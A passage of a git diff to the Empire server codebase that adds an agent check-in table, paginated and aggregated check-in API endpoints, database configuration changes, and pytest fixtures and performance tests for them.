bucket_size=bucket_size, + ) + + @router.get("/{uid}", response_model=Agent) async def read_agent(uid: str, db_agent: models.Agent = Depends(get_agent)): return domain_to_dto_agent(db_agent) @@ -70,3 +135,33 @@ async def update_agent( raise HTTPException(status_code=400, detail=err) return domain_to_dto_agent(resp) + + +@router.get("/{uid}/checkins", response_model=AgentCheckIns) +def read_agent_checkins( + db: Session = Depends(get_db), + db_agent: models.Agent = Depends(get_agent), + limit: int = -1, + page: int = 1, + start_date: Optional[datetime] = None, + end_date: Optional[datetime] = None, + order_direction: OrderDirection = OrderDirection.desc, +): + checkins, total = agent_service.get_agent_checkins( + db, + [db_agent.session_id], + limit, + (page - 1) * limit, + start_date, + end_date, + order_direction, + ) + checkins = list(map(lambda x: domain_to_dto_agent_checkin(x), checkins)) + + return AgentCheckIns( + records=checkins, + page=page, + total_pages=math.ceil(total / limit), + limit=limit, + total=total, + ) diff --git a/empire/server/api/v2/agent/agent_dto.py b/empire/server/api/v2/agent/agent_dto.py index 33cee91b3..3dea2d590 100644 --- a/empire/server/api/v2/agent/agent_dto.py +++ b/empire/server/api/v2/agent/agent_dto.py @@ -1,4 +1,5 @@ from datetime import datetime +from enum import Enum from typing import Dict, List, Optional from pydantic import BaseModel @@ -31,7 +32,7 @@ def domain_to_dto_agent(agent: models.Agent): process_name=agent.process_name, os_details=agent.os_details, nonce=agent.nonce, - checkin_time=agent.checkin_time, + checkin_time=agent.firstseen_time, lastseen_time=agent.lastseen_time, parent=agent.parent, children=agent.children, @@ -63,6 +64,19 @@ def to_proxy_dto(proxies): return {} +def domain_to_dto_agent_checkin(agent_checkin: models.AgentCheckIn): + return AgentCheckIn( + agent_id=agent_checkin.agent_id, + checkin_time=agent_checkin.checkin_time, + ) + + +def domain_to_dto_agent_checkin_agg(agent_checkin_agg): + return AgentCheckInAggregate( + count=agent_checkin_agg["count"], checkin_time=agent_checkin_agg["checkin_time"] + ) + + class Agent(BaseModel): session_id: str name: str @@ -103,6 +117,38 @@ class Agents(BaseModel): records: List[Agent] +class AgentCheckIn(BaseModel): + agent_id: str + checkin_time: datetime + + +class AgentCheckIns(BaseModel): + records: List[AgentCheckIn] + limit: int + page: int + total_pages: int + total: int + + +class AgentCheckInAggregate(BaseModel): + count: int + checkin_time: datetime # will be truncated depending on the group_by + + +class AgentCheckInsAggregate(BaseModel): + records: List[AgentCheckInAggregate] + start_date: Optional[datetime] + end_date: Optional[datetime] + bucket_size: str + + +class AggregateBucket(str, Enum): + second = "second" + minute = "minute" + hour = "hour" + day = "day" + + class AgentUpdateRequest(BaseModel): name: str notes: Optional[str] diff --git a/empire/server/api/v2/module/module_api.py b/empire/server/api/v2/module/module_api.py index ea0939d13..b256001e5 100644 --- a/empire/server/api/v2/module/module_api.py +++ b/empire/server/api/v2/module/module_api.py @@ -1,7 +1,6 @@ import logging -from datetime import datetime -from fastapi import Depends, HTTPException +from fastapi import Depends, HTTPException, Response from sqlalchemy.orm import Session from empire.server.api.api_router import APIRouter @@ -49,15 +48,12 @@ async def get_module(uid: str): # response_model=Modules, ) async def read_modules(): - log.info(f"Request Received {datetime.utcnow()}") modules = list( map( lambda x: domain_to_dto_module(x[1], x[0]), module_service.get_all().items() ) ) - log.info(f"Done Converting Objects {datetime.utcnow()}") - return {"records": modules} @@ -88,7 +84,7 @@ async def update_module( return domain_to_dto_module(module, uid) -@router.put("/bulk/enable", status_code=204) +@router.put("/bulk/enable", status_code=204, response_class=Response) async def update_bulk_enable( module_req: ModuleBulkUpdateRequest, db: Session = Depends(get_db) ): diff --git a/empire/server/common/agents.py b/empire/server/common/agents.py index 86b700635..47b124a02 100644 --- a/empire/server/common/agents.py +++ b/empire/server/common/agents.py @@ -46,7 +46,7 @@ from pathlib import Path from typing import Dict -from sqlalchemy import and_, or_, update +from sqlalchemy import and_, or_ from sqlalchemy.orm import Session from zlib_wrapper import decompress @@ -185,6 +185,7 @@ def add_agent( ) db.add(agent) + db.add(models.AgentCheckIn(agent_id=sessionID)) db.flush() message = f"New agent {sessionID} checked in" @@ -688,19 +689,7 @@ def update_agent_lastseen_db(self, session_id, db: Session): """ Update the agent's last seen timestamp in the database. """ - warnings.warn( - "This has been deprecated and may be removed." - "Use agent_service.get_by_id() or agent_service.get_by_name() instead.", - DeprecationWarning, - ) - db.execute( - update(models.Agent).where( - or_( - models.Agent.session_id == session_id, - models.Agent.name == session_id, - ) - ) - ) + db.add(models.AgentCheckIn(agent_id=session_id)) def set_autoruns_db(self, task_command, module_data): """ diff --git a/empire/server/core/agent_service.py b/empire/server/core/agent_service.py index e23715921..482c7eef2 100644 --- a/empire/server/core/agent_service.py +++ b/empire/server/core/agent_service.py @@ -1,9 +1,13 @@ import logging import queue +from datetime import datetime, timezone +from typing import List, Optional -from sqlalchemy import and_ +from sqlalchemy import and_, func from sqlalchemy.orm import Session +from empire.server.api.v2.agent.agent_dto import AggregateBucket +from empire.server.api.v2.shared_dto import OrderDirection from empire.server.common.helpers import KThread from empire.server.common.socks import create_client, start_client from empire.server.core.agent_task_service import AgentTaskService @@ -32,11 +36,10 @@ def get_all( if not include_archived: query = query.filter(models.Agent.archived == False) # noqa: E712 - agents = query.all() - - # can't use the hybrid expression until the function in models.py is updated to support mysql. if not include_stale: - agents = [agent for agent in agents if not agent.stale] + query = query.filter(models.Agent.stale == False) # noqa: E712 + + agents = query.all() return agents @@ -59,6 +62,105 @@ def update_agent(self, db: Session, db_agent: models.Agent, agent_req): return db_agent, None + @staticmethod + def get_agent_checkins( + db: Session, + agents: List[str] = None, + limit: int = -1, + offset: int = 0, + start_date: Optional[datetime] = None, + end_date: Optional[datetime] = None, + order_direction: OrderDirection = OrderDirection.desc, + ): + query = db.query( + models.AgentCheckIn, + func.count(models.AgentCheckIn.checkin_time).over().label("total"), + ) + + if agents: + query = query.filter(models.AgentCheckIn.agent_id.in_(agents)) + + if start_date: + query = query.filter(models.AgentCheckIn.checkin_time >= start_date) + + if end_date: + query = query.filter(models.AgentCheckIn.checkin_time <= end_date) + + if order_direction == OrderDirection.asc: + query = query.order_by(models.AgentCheckIn.checkin_time.asc()) + else: + query = query.order_by(models.AgentCheckIn.checkin_time.desc()) + + if limit > 0: + query = query.limit(limit).offset(offset) + + results = query.all() + + total = 0 if len(results) == 0 else results[0].total + results = list(map(lambda x: x[0], results)) + + return results, total + + @staticmethod + def get_agent_checkins_aggregate( + db: Session, + agents: List[str] = None, + start_date: Optional[datetime] = None, + end_date: Optional[datetime] = None, + bucket_size: AggregateBucket = None, + ): + """ + Returns a list of checkin counts for the given agents, start_date, end_date, and bucket_size. + This will raise a database exception if the empire server is using SQLite. + Additional work could be done to build a query for SQLite, but I don't think it's worth the effort, + given that we are moving towards a more robust database. + """ + hour_format = {"sql": "%Y-%m-%d %H:00:00Z", "python": "%Y-%m-%d %H:00:00Z"} + minute_format = {"sql": "%Y-%m-%d %H:%i:00Z", "python": "%Y-%m-%d %H:%M:00Z"} + second_format = {"sql": "%Y-%m-%d %H:%i:%sZ", "python": "%Y-%m-%d %H:%M:%SZ"} + day_format = {"sql": "%Y-%m-%d", "python": "%Y-%m-%d"} + if bucket_size == AggregateBucket.hour: + format = hour_format + elif bucket_size == AggregateBucket.minute: + format = minute_format + elif bucket_size == AggregateBucket.second: + format = second_format + else: + format = day_format + + time_agg = func.date_format(models.AgentCheckIn.checkin_time, format["sql"]) + + query = db.query( + time_agg.label("time_agg"), + func.count(models.AgentCheckIn.checkin_time).label("count"), + ) + + if agents: + query = query.filter(models.AgentCheckIn.agent_id.in_(agents)) + + if start_date: + query = query.filter(models.AgentCheckIn.checkin_time >= start_date) + + if end_date: + query = query.filter(models.AgentCheckIn.checkin_time <= end_date) + + query = query.group_by("time_agg") + + results = query.all() + converted_results = [] + + for result in results: + converted_results.append( + { + "checkin_time": datetime.strptime( + result[0], format["python"] + ).replace(tzinfo=timezone.utc), + "count": result[1], + } + ) + + return converted_results + def start_existing_socks(self, db: Session, agent: models.Agent): log.info(f"Starting SOCKS client for {agent.session_id}") try: diff --git a/empire/server/core/agent_task_service.py b/empire/server/core/agent_task_service.py index d1f12745e..ac9b291ff 100644 --- a/empire/server/core/agent_task_service.py +++ b/empire/server/core/agent_task_service.py @@ -70,11 +70,11 @@ def get_tasks( joinedload(models.AgentTask.agent).joinedload(models.Agent.host), ] if include_full_input: - query_options.append(undefer("input_full")) + query_options.append(undefer(models.AgentTask.input_full)) if include_original_output: - query_options.append(undefer("original_output")) + query_options.append(undefer(models.AgentTask.output_original)) if include_output: - query_options.append(undefer("output")) + query_options.append(undefer(models.AgentTask.output)) query = query.options(*query_options) if since: diff --git a/empire/server/core/db/base.py b/empire/server/core/db/base.py index f112084ad..d891f34f4 100644 --- a/empire/server/core/db/base.py +++ b/empire/server/core/db/base.py @@ -1,13 +1,12 @@ import logging -import os import sqlite3 +from pathlib import Path from sqlalchemy import UniqueConstraint, create_engine, event, text from sqlalchemy.engine import Engine from sqlalchemy.exc import OperationalError from sqlalchemy.orm import sessionmaker -from empire.server.core.config import empire_config from empire.server.core.db import models from empire.server.core.db.defaults import ( get_default_config, @@ -15,7 +14,7 @@ get_default_obfuscation_config, get_default_user, ) -from empire.server.core.db.models import Base +from empire.server.core.db.models import Base, get_database_config log = logging.getLogger(__name__) @@ -44,25 +43,22 @@ def try_create_engine(engine_url: str, *args, **kwargs) -> Engine: return engine +use, database_config = get_database_config() + + def reset_db(): + SessionLocal.close_all() + if use == "mysql": cmd = f"DROP DATABASE IF EXISTS {database_config.database_name}" reset_engine = try_create_engine(mysql_url, echo=False) with reset_engine.connect() as connection: connection.execute(text(cmd)) - SessionLocal.close_all() - Base.metadata.drop_all(engine) - if use == "sqlite": - os.unlink(database_config.location) + Path(database_config.location).unlink(missing_ok=True) -database_config = empire_config.database -use = os.environ.get("DATABASE_USE", database_config.use) -database_config.use = use -database_config = database_config[use.lower()] - if use == "mysql": url = database_config.url username = database_config.username @@ -97,19 +93,33 @@ def reset_db(): database_name = database_config.database_name result = db.execute( - f""" + text( + f""" SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = '{database_name}' AND table_name = 'hosts' AND column_name = 'unique_check' """ + ) ).fetchone() if not result: db.execute( - """ + text( + """ ALTER TABLE hosts ADD COLUMN unique_check VARCHAR(255) GENERATED ALWAYS AS (MD5(CONCAT(name, internal_ip))) UNIQUE; """ + ) + ) + + # index agent_id and checkin_time together + # won't work for sqlite. + from sqlalchemy import Index + + Index( + "agent_checkin_idx", + models.AgentCheckIn.agent_id, + models.AgentCheckIn.checkin_time.desc(), ) # When Empire starts up for the first time, it will create the database and create diff --git a/empire/server/core/db/models.py b/empire/server/core/db/models.py index a2fb9f5e5..235d3552a 100644 --- a/empire/server/core/db/models.py +++ b/empire/server/core/db/models.py @@ -1,6 +1,7 @@ import base64 import enum -from typing import Dict +import os +from typing import List from sqlalchemy import ( JSON, @@ -16,17 +17,29 @@ Table, Text, func, + select, + text, ) from sqlalchemy.dialects import mysql from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.ext.hybrid import hybrid_property -from sqlalchemy.orm import deferred, relationship +from sqlalchemy.orm import Mapped, deferred, relationship from sqlalchemy_utc import UtcDateTime, utcnow +from empire.server.core.config import empire_config from empire.server.utils.datetime_util import is_stale Base = declarative_base() +database_config = empire_config.database +use = os.environ.get("DATABASE_USE", database_config.use) +database_config.use = use +database_config = database_config[use.lower()] + + +def get_database_config(): + return use, database_config + agent_task_download_assc = Table( "agent_task_download_assc", @@ -114,11 +127,29 @@ class Host(Base): # and a generated column is added for mysql +class AgentCheckIn(Base): + """ + Agents check in periodically. Every time they do, a new AgentCheckIn is created. + This is used to calculate the stale status of an agent and is used to + """ + + __tablename__ = "agent_checkins" + agent_id = Column( + String(255), + ForeignKey("agents.session_id", ondelete="CASCADE"), + nullable=False, + primary_key=True, + ) + checkin_time = Column( + UtcDateTime, nullable=False, default=utcnow(), index=True, primary_key=True + ) + + class Agent(Base): __tablename__ = "agents" session_id = Column(String(255), primary_key=True, nullable=False) name = Column(String(255), nullable=False) - host_id = Column(Integer, ForeignKey("hosts.id")) + host_id = Column(Integer, ForeignKey("hosts.id"), nullable=True) host = relationship(Host, lazy="joined") listener = Column(String(255), nullable=False) language = Column(String(255)) @@ -135,8 +166,13 @@ class Agent(Base): os_details = Column(String(255)) session_key = Column(String(255)) nonce = Column(String(255)) - checkin_time = Column(UtcDateTime, default=utcnow()) - lastseen_time = Column(UtcDateTime, default=utcnow(), onupdate=utcnow()) + firstseen_time = Column(UtcDateTime, default=utcnow()) + checkins: Mapped[List[AgentCheckIn]] = relationship( + "AgentCheckIn", + order_by="desc(AgentCheckIn.checkin_time)", + lazy="dynamic", + cascade="all, delete", + ) parent = Column(String(255)) children = Column(String(255)) servers = Column(String(255)) @@ -152,57 +188,44 @@ class Agent(Base): socks = Column(Boolean) socks_port = Column(Integer) + @hybrid_property + def lastseen_time(self): + return self.checkins[0].checkin_time + + # https://stackoverflow.com/questions/72096054/sqlalchemy-limit-the-joinedloaded-results + @lastseen_time.inplace.expression + @classmethod + def _lastseen_time_expression(cls): + return ( + select(AgentCheckIn.checkin_time) + .filter(AgentCheckIn.agent_id == cls.session_id) + .order_by(AgentCheckIn.checkin_time.desc()) + .limit(1) + .label("lastseen_time") + ) + @hybrid_property def stale(self): return is_stale(self.lastseen_time, self.delay, self.jitter) - @stale.expression # todo: this only works for sqlite. - def stale(cls): - threshold = 30 + cls.delay + cls.delay * cls.jitter - seconds_elapsed = ( - func.julianday(utcnow()) - func.julianday(cls.lastseen_time) - ) * 86400.0 - return seconds_elapsed > threshold - - @property - def info(self) -> Dict: - return { - "ID": self.id, - "session_id": self.session_id, - "listener": self.listener, - "name": self.name, - "language": self.language, - "language_version": self.language_version, - "delay": self.delay, - "jitter": self.jitter, - "external_ip": self.external_ip, - "internal_ip": self.internal_ip, - "username": self.username, - "high_integrity": int(self.high_integrity or 0), - "process_name": self.process_name, - "process_id": self.process_id, - "hostname": self.hostname, - "os_details": self.os_details, - "session_key": str(self.session_key), - "nonce": self.nonce, - "checkin_time": self.checkin_time, - "lastseen_time": self.lastseen_time, - "parent": self.parent, - "children": self.children, - "servers": self.servers, - "profile": self.profile, - "functions": self.functions, - "kill_date": self.kill_date, - "working_hours": self.working_hours, - "lost_limit": self.lost_limit, - "stale": self.stale, - "notes": self.notes, - "architecture": self.architecture, - "proxy": self.proxy, - } + @stale.inplace.expression + @classmethod + def _stale_expression(cls): + if get_database_config()[0] == "sqlite": + threshold = 30 + cls.delay + cls.delay * cls.jitter + seconds_elapsed = ( + func.julianday(utcnow()) - func.julianday(cls.lastseen_time) + ) * 86400.0 + return seconds_elapsed > threshold + else: + diff = func.timestampdiff( + text("SECOND"), cls.lastseen_time, func.utc_timestamp() + ) + threshold = 30 + cls.delay + cls.delay * cls.jitter + return diff > threshold def __repr__(self): - return "" % (self.name) + return f"" def __getitem__(self, key): return self.__dict__[key] @@ -309,7 +332,11 @@ class AgentTaskStatus(str, enum.Enum): class AgentTask(Base): __tablename__ = "agent_tasks" id = Column(Integer, primary_key=True) - agent_id = Column(String(255), ForeignKey("agents.session_id"), primary_key=True) + agent_id = Column( + String(255), + ForeignKey("agents.session_id", ondelete="CASCADE"), + primary_key=True, + ) agent = relationship(Agent, lazy="joined", innerjoin=True) input = Column(Text) input_full = deferred(Column(Text().with_variant(mysql.LONGTEXT, "mysql"))) diff --git a/empire/server/core/plugin_service.py b/empire/server/core/plugin_service.py index 4d012e75d..8096fc02a 100644 --- a/empire/server/core/plugin_service.py +++ b/empire/server/core/plugin_service.py @@ -208,9 +208,9 @@ def get_tasks( joinedload(models.PluginTask.user), ] if include_full_input: - query_options.append(undefer("input_full")) + query_options.append(undefer(models.PluginTask.input_full)) if include_output: - query_options.append(undefer("output")) + query_options.append(undefer(models.PluginTask.output)) query = query.options(*query_options) if since: diff --git a/empire/server/server.py b/empire/server/server.py index e9fee4f51..b93eecb0e 100755 --- a/empire/server/server.py +++ b/empire/server/server.py @@ -131,9 +131,19 @@ def check_submodules(): exit(1) +def check_recommended_configuration(): + log.info(f"Using {empire_config.database.use} database.") + if empire_config.database.use == "sqlite": + log.warning( + "Using SQLite may result in performance issues and some functions may be disabled." + ) + log.warning("Consider using MySQL instead.") + + def run(args): setup_logging(args) check_submodules() + check_recommended_configuration() if not args.restport: args.restport = 1337 diff --git a/empire/test/conftest.py b/empire/test/conftest.py index f2a052602..b44d62b34 100644 --- a/empire/test/conftest.py +++ b/empire/test/conftest.py @@ -13,10 +13,8 @@ DEFAULT_ARGV = ["", "server", "--config", SERVER_CONFIG_LOC] -@pytest.fixture(scope="session", autouse=True) -def setup_args(): - os.chdir(Path(os.path.dirname(os.path.abspath(__file__))).parent.parent) - sys.argv = DEFAULT_ARGV +os.chdir(Path(os.path.dirname(os.path.abspath(__file__))).parent.parent) +sys.argv = DEFAULT_ARGV @pytest.fixture(scope="session") @@ -29,8 +27,9 @@ def install_path(): return Path(os.path.realpath(__file__)).parent.parent / "server" -@pytest.fixture(scope="session") -def client(empire_config): +@pytest.fixture(scope="session", autouse=True) +def client(): + sys.argv = ["", "server", "--config", SERVER_CONFIG_LOC] os.chdir(Path(os.path.dirname(os.path.abspath(__file__))).parent.parent) import empire.server.core.db.base @@ -42,8 +41,6 @@ def client(empire_config): shutil.rmtree("empire/test/downloads", ignore_errors=True) shutil.rmtree("empire/test/data/obfuscated_module_source", ignore_errors=True) - sys.argv = ["", "server", "--config", SERVER_CONFIG_LOC] - from empire import arguments args = arguments.parent_parser.parse_args() @@ -92,25 +89,16 @@ def client(empire_config): print("cleanup") - from empire.server.core.db.base import engine - from empire.server.core.db.models import Base from empire.server.server import main main.shutdown() - Base.metadata.drop_all(engine) + reset_db() -# It would be nice to swap out the db within pytest using params. -# @pytest.fixture(scope="session", params=["mysql", "sqlite"]) -@pytest.fixture(scope="session") +@pytest.fixture(scope="session", autouse=True) def empire_config(): from empire.server.core.config import empire_config - # This could be used to dynamically change the db location if we ever try to - # run multiple tests in parallel. - # random_string = "".join(random.choice(string.ascii_letters) for x in range(5)) - # empire_config.database.location = f"empire/test/test_empire_{random_string}.db" - yield empire_config @@ -278,6 +266,72 @@ def base_stager_2(): } +@pytest.fixture(scope="session") +def session_local(client): + from empire.server.core.db.base import SessionLocal + + yield SessionLocal + + +@pytest.fixture(scope="function") +def host(session_local, models): + with session_local.begin() as db: + host = models.Host(name="host1", internal_ip="192.168.0.1") + db.add(host) + db.flush() + host_id = host.id + + yield host_id + + with session_local.begin() as db: + db.query(models.Host).filter(models.Host.id == host_id).delete() + + +@pytest.fixture(scope="function") +def agent(session_local, models, host, main): + with session_local.begin() as db: + name = f'agent_{__name__.split(".")[-1]}' + agent = models.Agent( + name=name, + session_id=name, + delay=1, + jitter=0.1, + external_ip="1.1.1.1", + session_key="qwerty", + nonce="nonce", + profile="profile", + kill_date="killDate", + working_hours="workingHours", + lost_limit=60, + listener="http", + language="powershell", + language_version="5", + high_integrity=True, + process_name="abc", + process_id=123, + host_id=host, + archived=False, + ) + db.add(agent) + db.add(models.AgentCheckIn(agent_id=agent.session_id)) + db.flush() + + main.agents.agents[name] = { + "sessionKey": agent.session_key, + "functions": agent.functions, + } + + agent_id = agent.session_id + + yield agent_id + + with session_local.begin() as db: + db.query(models.AgentCheckIn).filter( + models.AgentCheckIn.agent_id == agent_id + ).delete() + db.query(models.Agent).filter(models.Agent.session_id == agent_id).delete() + + @pytest.fixture(scope="session") def server_config_dict(): # load the config file diff --git a/empire/test/test_agent_api.py b/empire/test/test_agent_api.py index 9e24bf300..a151207b9 100644 --- a/empire/test/test_agent_api.py +++ b/empire/test/test_agent_api.py @@ -93,7 +93,6 @@ def agent(db, models, main): profile="profile", kill_date="killDate", working_hours="workingHours", - lastseen_time=datetime.now(timezone.utc) - timedelta(days=2), lost_limit=60, listener="http", language="powershell", @@ -111,6 +110,15 @@ def agent(db, models, main): db.add(agent2) db.add(agent3) db.add(agent4) + db.add(models.AgentCheckIn(agent_id=agent.session_id)) + db.add(models.AgentCheckIn(agent_id=agent2.session_id)) + db.add(models.AgentCheckIn(agent_id=agent3.session_id)) + db.add( + models.AgentCheckIn( + agent_id=agent4.session_id, + checkin_time=datetime.now(timezone.utc) - timedelta(days=2), + ) + ) db.flush() db.commit() agents = [agent, agent2, agent3, agent4] diff --git a/empire/test/test_agent_checkins_api.py b/empire/test/test_agent_checkins_api.py new file mode 100644 index 000000000..0551a32cf --- /dev/null +++ b/empire/test/test_agent_checkins_api.py @@ -0,0 +1,284 @@ +import asyncio +import logging +import time +from contextlib import contextmanager +from datetime import datetime, timedelta, timezone + +import pytest + +log = logging.getLogger(__name__) + + +@contextmanager +def timer(): + start = time.perf_counter() + yield lambda: time.perf_counter() - start + + +@pytest.fixture(scope="function") +def agents(session_local, host, models): + agent_ids = [] + with session_local.begin() as db: + for n in range(agent_count): + agent_id = f"agent_{n}" + agent_ids.append(agent_id) + default_agent(agent_id, models, db, host) + log.info(f"agent_{n}") + + yield agent_ids + + with session_local.begin() as db: + db.query(models.AgentCheckIn).delete() + db.query(models.Agent).delete() + + +def default_agent(session_id, models, db, host): + db.add( + models.Agent( + name=session_id, + session_id=session_id, + delay=60, + jitter=0.1, + internal_ip="1.2.3.4", + external_ip="1.1.1.1", + session_key="qwerty", + nonce="nonce", + profile="profile", + kill_date="killDate", + working_hours="workingHours", + lost_limit=60, + listener="http", + language="powershell", + language_version="5", + high_integrity=False, + process_name="proc", + process_id=12345, + hostname="vinnybod", + host_id=host, + archived=False, + ) + ) + + +async def _create_checkins(session_local, models, agent_ids): + await asyncio.gather( + *[_create_checkin(session_local, models, agent_id) for agent_id in agent_ids] + ) + + +agent_count = 10 +time_delta = 5 # 17280 checkins per agent per day +days_back = 7 +end_time = datetime(2023, 1, 8, tzinfo=timezone.utc) +start_time = end_time - timedelta(days=days_back) + + +async def _create_checkin(session_local, models, agent_id): + with session_local.begin() as db_2: + checkins = [] + iter_time = start_time + while iter_time < end_time: + iter_time += timedelta(seconds=time_delta) + checkins.append( + models.AgentCheckIn(agent_id=agent_id, checkin_time=iter_time) + ) + + log.info(f"adding {len(checkins)} checkins for {agent_id}") + db_2.add_all(checkins) + + +@pytest.mark.slow +def test_database_performance_checkins(models, host, agents, session_local): + # logging.basicConfig() + # logging.getLogger("sqlalchemy.engine").setLevel(logging.INFO) + # logging.getLogger("sqlalchemy.engine").propagate = True + # print(query.statement.compile(compile_kwargs={"literal_binds": True})) + + with session_local() as db: + asyncio.run(_create_checkins(session_local, models, agents)) + + with timer() as t: + checkins = db.query(models.AgentCheckIn).count() + assert checkins >= (agent_count * 17280 * days_back) + log.info(f"Time to query {checkins} checkins count: {t():0.4f} seconds") + + with timer() as t: + agents = db.query(models.Agent).count() + assert agents >= agent_count + log.info(f"Time to query {agents} agents count: {t():0.4f} seconds") + assert t() < 1 + + with timer() as t: + query = db.query(models.Agent) + query.all() + log.info(f"Time to query {agents} agents: {t():0.4f} seconds") + assert t() < 1 + + with timer() as t: + query = db.query(models.AgentCheckIn).limit(100000) + query.all() + log.info(f"Time to query {checkins} checkins: {t():0.4f} seconds") + assert t() < 4 + + agents = db.query(models.Agent).all() + + with timer() as t: + for a in agents: + name = a.name + lastseen_time = a.lastseen_time + stale = a.stale + log.info(f"{name} - {lastseen_time} - {stale}") + log.info(f"Time to query {agents} agents' dynamic fields: {t():0.4f} seconds") + assert t() < 0.1 * agent_count + + +def test_get_agent_checkins_agent_not_found(client, admin_auth_header): + response = client.get("/api/v2/agents/XYZ123/checkins", headers=admin_auth_header) + + assert response.status_code == 404 + assert response.json()["detail"] == "Agent not found for id XYZ123" + + +def test_get_agent_checkins_with_limit_and_page( + client, admin_auth_header, agent, session_local, models +): + asyncio.run(_create_checkins(session_local, models, [agent])) + + response = client.get( + f"/api/v2/agents/{agent}/checkins?limit=10&page=1", headers=admin_auth_header + ) + + assert response.status_code == 200 + assert len(response.json()["records"]) == 10 + assert response.json()["total"] > days_back * 17280 + assert response.json()["page"] == 1 + + page1 = response.json()["records"] + + response = client.get( + f"/api/v2/agents/{agent}/checkins?limit=10&page=2", headers=admin_auth_header + ) + + assert response.status_code == 200 + assert len(response.json()["records"]) == 10 + assert response.json()["total"] > days_back * 17280 + assert response.json()["page"] == 2 + + page2 = response.json()["records"] + + assert page1 != page2 + + +@pytest.mark.slow +def test_get_agent_checkins_multiple_agents( + client, admin_auth_header, agents, session_local, models +): + with_checkins = agents[:3] + asyncio.run(_create_checkins(session_local, models, with_checkins)) + + response = client.get( + "/api/v2/agents/checkins", + headers=admin_auth_header, + params={"agents": [with_checkins[:2]], "limit": 400000}, + ) + + assert response.status_code == 200 + assert len(response.json()["records"]) == days_back * 17280 * 2 + assert set([r["agent_id"] for r in response.json()["records"]]) == set( + with_checkins[:2] + ) + + +@pytest.mark.slow +def test_agent_checkins_aggregate( + client, admin_auth_header, session_local, models, agents, empire_config +): + if empire_config.database.use == "sqlite": + pytest.skip("sqlite not supported for checkin aggregation") + + asyncio.run(_create_checkins(session_local, models, agents[:3])) + + response = client.get( + "/api/v2/agents/checkins/aggregate", + headers=admin_auth_header, + ) + + assert response.status_code == 200 + assert response.elapsed.total_seconds() < 2 + assert response.json()["bucket_size"] == "day" + assert response.json()["records"][1]["count"] == 17280 * 3 + + response = client.get( + "/api/v2/agents/checkins/aggregate", + headers=admin_auth_header, + params={"bucket_size": "hour"}, + ) + + assert response.status_code == 200 + assert response.elapsed.total_seconds() < 2 + assert response.json()["bucket_size"] == "hour" + assert response.json()["records"][1]["count"] == 720 * 3 + + response = client.get( + "/api/v2/agents/checkins/aggregate", + headers=admin_auth_header, + params={"bucket_size": "minute"}, + ) + + assert response.status_code == 200 + assert response.elapsed.total_seconds() < 2 + assert response.json()["bucket_size"] == "minute" + assert response.json()["records"][1]["count"] == 12 * 3 + + response = client.get( + "/api/v2/agents/checkins/aggregate", + headers=admin_auth_header, + params={"bucket_size": "second"}, + ) + + assert response.status_code == 200 + # On an m1 macbook this is <1s, but in CI it's ~11s. ymmv + assert response.elapsed.total_seconds() < 15 + assert response.json()["bucket_size"] == "second" + assert response.json()["records"][1]["count"] == 1 * 3 + + # Test start date and end date + response = client.get( + "/api/v2/agents/checkins/aggregate", + headers=admin_auth_header, + params={"bucket_size": "hour", "start_date": start_time + timedelta(days=3)}, + ) + + assert response.status_code == 200 + assert response.json()["bucket_size"] == "hour" + checkin_time_string = response.json()["records"][0]["checkin_time"] + checkin_time = datetime.strptime(checkin_time_string, "%Y-%m-%dT%H:%M:%S%z") + assert checkin_time == start_time + timedelta(days=3) + + response = client.get( + "/api/v2/agents/checkins/aggregate", + headers=admin_auth_header, + params={"bucket_size": "hour", "end_date": start_time + timedelta(days=3)}, + ) + + assert response.status_code == 200 + assert response.json()["bucket_size"] == "hour" + checkin_time_string = response.json()["records"][-1]["checkin_time"] + checkin_time = datetime.strptime(checkin_time_string, "%Y-%m-%dT%H:%M:%S%z") + assert checkin_time == start_time + timedelta(days=3) + + # Test using timestamps with offset + with_tz = start_time + timedelta(days=3) + with_tz = with_tz.astimezone(timezone(timedelta(hours=-5))) + + response = client.get( + "/api/v2/agents/checkins/aggregate", + headers=admin_auth_header, + params={"bucket_size": "hour", "start_date": with_tz}, + ) + + assert response.status_code == 200 + assert response.json()["bucket_size"] == "hour" + checkin_time_string = response.json()["records"][0]["checkin_time"] + checkin_time = datetime.strptime(checkin_time_string, "%Y-%m-%dT%H:%M:%S%z") + assert checkin_time == start_time + timedelta(days=3) diff --git a/empire/test/test_agent_file_api.py b/empire/test/test_agent_file_api.py index 4c9034d8e..d093a0512 100644 --- a/empire/test/test_agent_file_api.py +++ b/empire/test/test_agent_file_api.py @@ -1,14 +1,12 @@ import pytest -from sqlalchemy.orm import Session -@pytest.fixture(scope="module", autouse=True) -def agent(db, models, main): - agent = db.query(models.Agent).filter(models.Agent.session_id == "TEST123").first() - if not agent: +@pytest.fixture(scope="function") +def agent_no_files(session_local, models, main): + with session_local.begin() as db: agent = models.Agent( - name="TEST123", - session_id="TEST123", + name="EMPTY", + session_id="EMPTY", delay=1, jitter=0.1, external_ip="1.1.1.1", @@ -25,111 +23,75 @@ def agent(db, models, main): archived=False, ) db.add(agent) - db.flush() - db.commit() + db.add(models.AgentCheckIn(agent_id=agent.session_id)) - main.agents.agents["TEST123"] = { - "sessionKey": agent.session_key, - "functions": agent.functions, - } + main.agents.agents["EMPTY"] = { + "sessionKey": agent.session_key, + "functions": agent.functions, + } - yield agent + agent_id = agent.session_id - db.delete(agent) - db.commit() + yield agent_id + with session_local.begin() as db: + db.query(models.Agent).delete() -@pytest.fixture(scope="module", autouse=True) -def agent_no_files(db, models, main): - agent = db.query(models.Agent).filter(models.Agent.session_id == "EMPTY").first() - if not agent: - agent = models.Agent( - name="EMPTY", - session_id="EMPTY", - delay=1, - jitter=0.1, - external_ip="1.1.1.1", - session_key="qwerty", - nonce="nonce", - profile="profile", - kill_date="killDate", - working_hours="workingHours", - lost_limit=60, - listener="http", - language="powershell", - language_version="5", - high_integrity=True, - archived=False, - ) - db.add(agent) - db.flush() - db.commit() - main.agents.agents["EMPTY"] = { - "sessionKey": agent.session_key, - "functions": agent.functions, - } +@pytest.fixture(scope="function", autouse=True) +def files(session_local, models, agent): + with session_local.begin() as db: + root_file = models.AgentFile( + session_id=agent, name="/", path="/", is_file=False, parent_id=None + ) - yield agent + db.add(root_file) + db.flush() - db.delete(agent) - db.commit() + file_1 = models.AgentFile( + session_id=agent, + name="C:\\", + path="/C:\\", + is_file=False, + parent_id=root_file.id, + ) + file_2 = models.AgentFile( + session_id=agent, + name="D:\\", + path="/D:\\", + is_file=False, + parent_id=root_file.id, + ) + 